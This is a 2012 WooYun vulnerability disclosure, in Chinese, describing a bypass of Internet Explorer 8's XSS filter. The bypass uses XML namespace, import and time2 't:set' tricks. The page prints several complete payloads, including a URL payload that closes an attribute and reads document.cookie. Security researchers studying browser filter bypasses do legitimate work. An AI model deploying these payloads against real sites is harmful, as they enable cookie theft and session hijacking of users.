当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013883

漏洞标题:IE8 xss filter bypass (xss过滤器绕过)

相关厂商:微软

漏洞作者: gainover

提交时间:2012-10-25 10:57

修复时间:2012-10-25 22:53

公开时间:2012-10-25 22:53

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-10-25: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

IE 8 XSS 过滤器绕过。感谢@Sogili牛为本绕过通用性实现上提供的tricks。
pkav.net

详细说明:

1. 在IE8中,可以通过 <xml> <?import> + <t:set ..> 的方式来构成一个XSS vector。
在测试过程中发现, <?import> 同样可写为 <import>。
也就是说。下面的代码都可以运行JS代码。

<html>     
<body>
<div>
<div id="x">x</div>
<?xml:namespace prefix="t">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">
</div>
</body>
</html>


<html>     
<body>
<div>
<div id="x">x</div>
<xml:namespace prefix="t">
<import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;">
</div>
</body>
</html>


2. 利用这个技巧,我发现可以成功绕过IE 8 的 xss filter
测试例子如下:

http://xsst.sinaapp.com/example/1-1.php?page=<div id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;1%26%23x29;%26gt;>


如果用<?import..>,则会触发过滤器。
3. 当然,上面这个代码,只适用于 <HTML标签>{输出在这里}</HTML标签> 的情况。
我们经常会遇到类似 <input type="text" value="{输出在这里}"> 的情况。
这样一来,我们需要在代码前面加上 "> 来闭合HTML属性。
但是问题来啦, "> 会触发XSS过滤器,过滤掉我们代码中的敏感词。
@jackmasa (https://twitter.com/jackmasa),也就是我们乌云的 @Sogili 牛,给了一个绕过的tricks, "x> 就不会触发XSS过滤器了, x代表任意字母。 非常感谢。
这样一来,我们上面的代码可以进一步通用化。

http://www.xxxx.com/product.php?search="id=><div/id=x>x</div><xml:namespace prefix=t><import namespace=t implementation=%23default%23time2><t:set/attributename=innerHTML targetElement=x to=%26lt;img%26%2311;src=x:x%26%2311;onerror%26%2311;=alert%26%23x28;document.cookie%26%23x29;%26gt;>


4. 至于具体怎么利用,恩,大家自己看着办。

漏洞证明:

修复方案:

微软已经在IE10中修复了这个问题。将会在近期推出win7的IE10版本。 故IE8中应该不会修复了。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝